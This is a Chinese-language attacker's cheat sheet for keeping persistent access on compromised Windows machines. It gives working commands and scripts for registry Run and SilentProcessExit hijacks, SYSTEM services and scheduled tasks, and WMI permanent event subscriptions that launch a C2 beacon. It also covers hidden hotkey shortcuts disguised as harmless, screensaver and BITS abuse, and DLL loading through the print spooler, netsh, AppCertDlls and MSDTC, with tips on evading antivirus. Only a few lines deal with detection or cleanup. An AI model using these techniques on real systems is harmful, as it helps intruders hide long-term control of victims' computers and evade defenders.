windows
Startup目录
NT6内核以后
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup 对所有用户都有效 C:\Users\当前用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 对当前用户有效
注册表
reg add “xxx” /v evil /t REG_SZ /d “[Absolute Path]\evil.exe”
C:\Windows\system32>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
操作成功完成。
C:\Windows\system32>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
操作成功完成。
C:\Windows\system32>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\ProgramData\test.exe"
操作成功完成。
windows com
ITaskService
实战可以使用
1.Initialization
为了获取到获取 ITaskService 对象以及 ITaskFolder 对象
首先初始化COM接口
2.CreateTask
首先创建任务定义对象,进行任务创建操作
接着设置注册信息
设置主体信息
设置任务相关信息
创建触发器
设置执行操作
在ITaskFolder对象注册
3.DeleteTask
服务
创建服务
sc create evil binpath="cmd.exe /k [Absolute Path]evil.exe" start="auto" obj="LocalSystem"
计划任务
SCHTASKS /Create /RU SYSTEM /SC ONSTART /RT HIGHEST /TN \Microsoft\Windows\evil\eviltask /TR C:\Users\hunter\Desktop\evil.exe
WMI
由于WMI事件循环执行,为确保不会无限弹shell,可以使用系统启动时间来限制
WMI事件,即特定对象的属性发⽣改变时发出的通知,其中包括增加、修改、删除三种类型。可以使⽤wmic来进⾏操作。通俗的可以说:WMI内部出现什么变化就由WMI事件来进⾏通知。 WMI事件中的事件消费者可以分为临时和永久两类,临时的事件消费者只在其运⾏期间关⼼特定事件并进⾏处 理,永久消费者作为类的实例注册在WMI命名空间中,⼀直有效到它被注销。所以在权限维持中⼀般我们使⽤WMI 永久事件来进⾏。
查询事件
#列出事件过滤器
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
#列出事件消费者
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
#列出事件绑定
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
删除事件
#删除事件过滤器
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='事件过滤器
名'" | Remove-WmiObject -Verbose
#删除事件消费者
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter
"Name='事件消费者名'" | Remove-WmiObject -Verbose
#删除事件绑定
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter
"__Path LIKE '%事件绑定名%'" | Remove-WmiObject -Verbose
WMI永久事件
没有指定时间轮询则需要机器重启才可以进⾏WMI轮询,需要注意的⼀点是,WMI可以任意指定触发 条件,例如⽤户退出,某个程序创建,结束等等。
wmic添加永久事件
#注册⼀个 WMI 事件过滤器
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BugSecFilter",
EventNamespace = "root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __TimerEvent
WITHIN 10 WHERE TimerID = 'BugSecFilter'"
#注册⼀个 WMI 事件消费者
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE
Name="BugSecConsumer", CommandLineTemplate="cmd.exe /c c:\beacon.exe"
#将事件消费者绑定到事件过滤器
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE
Filter='\\.\root\subscription:__EventFilter.Name="BugSecFilter"',
Consumer='\\.\root\subscription:CommandLineEventConsumer.Name="BugSecConsumer"'
Powershell添加永久事件
可以考虑添加Powershell的时间间隔器,需要上线⾄C2则将Payload替换成C2的exe或者dll或者ps1即 可。
需要修改⼀下参数
IntervalBetweenEvents ###修改间隔时间,以毫秒为单位。
$EventFilterArgs 中的 Name ###修改筛选器名称。
Query ###修改其中WQL语句,以下脚本中可不⽤修改,但TimerID需和$TimerArgs中的参数匹配。
$FinalPayload ###修改Payload,可以指定执⾏Powershell,或者cmd或者其他命令。
$CommandLineConsumerArgs 中的 Name ###修改消费者名称。
$TimerArgs = @{
IntervalBetweenEvents = ([UInt32] 2000) # 30 min
SkipIfPassed = $False
TimerId ="Trigger" };
$EventFilterArgs = @{
EventNamespace = 'root/cimv2'
Name = "Windows update trigger"
Query = "SELECT * FROM __TimerEvent WHERE TimerID = 'Trigger'"
QueryLanguage = 'WQL' };
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments
$EventFilterArgs;
$FinalPayload = 'cmd.exe /c c:\beacon.exe'
$CommandLineConsumerArgs = @{
Name = "Windows update consumer"
CommandLineTemplate = $FinalPayload};
$Consumer = Set-WmiInstance -Namespace root/subscription -Class
CommandLineEventConsumer -Arguments $CommandLineConsumerArgs;
$FilterToConsumerArgs = @{
Filter = $Filter
Consumer = $Consumer};
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class
__FilterToConsumerBinding -Arguments $FilterToConsumerArgs;
上述脚本出现的WQL语句,也可以指定WITHIN来指定间隔时间,以秒为单位,但是需提前指定 TimerID,可以⾃⾏修改PS1脚本进⾏完善,将添加后⻔、删除后⻔的操作集成到⼀个脚本内完成,同时免杀 的操作可以针对性的进⾏混淆或编码的操作。
SELECT * FROM __TimerEvent WITHIN 10 WHERE TimerID = 'Trigger'
将上述Powershell脚本替换其执⾏的Payload进⾏本地执⾏,另存为ps1格式并修改其轮询的时间。若 想做成远程下载格式,则需要将Powershell做好免杀的操作。
运⾏ps1脚本后成功上线
Mof⽂件添加事件
在测试Mof⽂件添加事件时,编译后的确能够正常添加事件,但是未能执⾏指定命令
#PRAGMA NAMESPACE ("\\\\.\\root\\subscription")
instance of CommandLineEventConsumer as $Cons
{
Name = "test1comsumer";
RunInteractively=false;
CommandLineTemplate="cmd.exe /c c:\beacon.exe";
};
instance of __EventFilter as $Filt
{
Name = "test1filter";
EventNamespace = "root\\cimv2";
Query ="SELECT * FROM __TimerEvent WITHIN 10 WHERE TimerID = 'test1filter'";
QueryLanguage = "WQL";
};
instance of __FilterToConsumerBinding
{
Filter = $Filt;
Consumer = $Cons;
};
编译
mofcomp.exe wmi.mo
LNK
Windows快捷方式可以注册一个快捷键
我们可以将激活方式设置为常用的快捷键组合,比如ctrl+c等 资源管理器仅允许ctrl+alt开头的快捷方式 但可以通过com编程的方式实现
power shell版本
#声明一个指向受害者目录的变量
$path = "$([Environment]::GetFolderPath('Desktop'))\FakeText.lnk"
$wshell = New-Object -ComObject Wscript.Shell
$shortcut = $wshell.CreateShortcut($path)
#设置一个可信的图标
$shortcut.IconLocation = "C:\Windows\System32\shell32.dll,70"
$shortcut.TargetPath = "cmd.exe"
$shortcut.Arguments = "/c calc.exe"
$shortcut.WorkingDirectory = "C:"
$shortcut.HotKey = "CTRL+C"
$shortcut.Description = "Nope, not malicious"
$shortcut.WindowStyle = 7
# 7 = Minimized window
# 3 = Maximized window
# 1 = Normal window
$shortcut.Save()
(Get-Item $path).Attributes += 'Hidden' # Optional if we want to make the link invisible (prevent user clicks)
VBA, VBScript
Set wshell = CreateObject("WScript.Shell")
Dim path
path = wshell.SpecialFolders("Desktop") & "/FakeText.lnk"
Set shortcut = wshell.CreateShortcut(path)
shortcut.IconLocation = "C:\Windows\System32\shell32.dll,70"
shortcut.WindowStyle = 7
shortcut.TargetPath = "cmd.exe"
shortcut.Arguments = "/c calc.exe"
shortcut.WorkingDirectory = "C:"
shortcut.HotKey = "CTRL+C"
shortcut.Description = "Nope, not malicious"
shortcut.Save
' Optional if we want to make the link invisible (prevent user clicks)
Set fso = CreateObject("Scripting.FileSystemObject")
Set mf = fso.GetFile(path)
mf.Attributes = 2
不过这将破坏了原有的ctrl+c快捷键,因为桌面的快捷方式优先于标准的快捷键
其实觉得还不如写一个可执行程序,先打开他的程序,然后调用shellcode 也没啥感觉
屏幕保护
虽然未必所有的用户都用屏幕保护,但相关配置都在注册表中
如果从未设置过屏幕保护,除了”ScreenSaveActive”默认值为1,其他键都是不存在的 屏幕保护的正常运行 需要这几个键都有数据才可以 故必须把这4个键都重写一遍 屏保程序最短触发时间为60
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveActive
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaverIsSecure
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut
HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE
reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d C:\Users\hunter\Desktop\beacon.exe /f
reg add "hkcu\control panel\desktop" /v ScreenSaveActive /d 1 /f
reg add "hkcu\control panel\desktop" /v ScreenSaverIsSecure /d 0 /f
reg add "hkcu\control panel\desktop" /v ScreenSaveTimeOut /d 60 /f
后台智能传输
BITS可帮助传输大量数据而不会降低网络性能 利用bitsadmin
bitsadmin /create evil
bitsadmin /addfile evil "C:\Users\hunter\Desktop\beacon.exe" "C:\Users\hunter\Desktop\beacon.exe"
bitsadmin.exe /SetNotifyCmdLine evil "C:\Users\hunter\Desktop\beacon.exe" NUL
bitsadmin /Resume evil
重启后任务不会结束,90天以后结束
检测方式
bitsadmin /list /allusers /verbose
后台打印程序服务
后台打印程序服务负责管理windows操作系统中的打印作业
打印后台程序的API包含一个函数-AddMonitor
用于安装本地端口监视器并连接,数据和监视器文件
该函数会将dll注入到spoolsv.exe进程中实现相应功能
- 首先将恶意DLL放到C:\Windows\System32\路径下
- reg add “hklm\system\currentcontrolset\control\print\monitors\monitor” /v “Driver” /d “monitor.dll” /t REG_SZ
- 重启后,恶意dll则会被自动加载到spoolsv.exe
Netsh
windows自带的命令,用来配置网络的命令行工具,可以通过导入helperdll的功能,且dll导入后会写入注册表,永久有效
因此可以通过导入helperdll的方式做权限维持,命令格式如下:
netsh add helper [Absolute evil DLL path]
但是由于netsh并不会开启自启动,因此还要再写一条自启动项:
reg add “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run” /v Pentestlab /t REG_SZ /d “cmd /c C:\Windows\System32\netsh”
重新启动后依然可获得shell
AppCertDlls
注册表项“AppInit_DLLs”中的值会在user32.dll被加载到内存的时候被读取,若其中有值则调用API“LoadLibrary()”加载用户DLL
早些年用这个做DLL注入式持久化比较流行,但如今在很多新系统上却失效了。其原因是由于kernel32.dll在启动时有一个标记位的判断
kernel32.dll对0x67的Class进行NtQuerySystemInformation后,检查ReturnLength与2的运算是否为0(是否相等),若相等则不加载DLL直接ret
ox67 它是由bcdedit.exe的“–set testsigning on/off”参数设置的,但现在比较新的机器一般都在BIOS中默认设置了secure boot,如果不关掉这个选项是无法修改上面的标记的。因此,这个方法目前局限性就比较大了。
然而其实还有一个注册表项不太常用,并且也能够自动加载DLL,那就是AppCertDlls。当进程使用了CreateProcess、CreateProcessAsUser、CreateProcessWithLoginW、CreateProcessWithTokenW、WinExec这些API的时候,该项中的内容会被自动加载,而幸运的,是很多程序都会调用这些API。
写一个测试程序调用上面的API
MSDTC
msdtc是微软分布式传输协调bai程序 该服务启动后会尝试从system32加载三个dll文件:oci.dll,sqllib80.dll,xa80.dll
在默认的windows安装中,system32文件夹中缺少oci.dll这个文件,在获得权限的情况下,可以在该文件夹下面写入一个同名的dll 默认情况下,由于启动项类型设置为手动,可以设置为自动
sc qc msdtc
sc config msdtc start= auto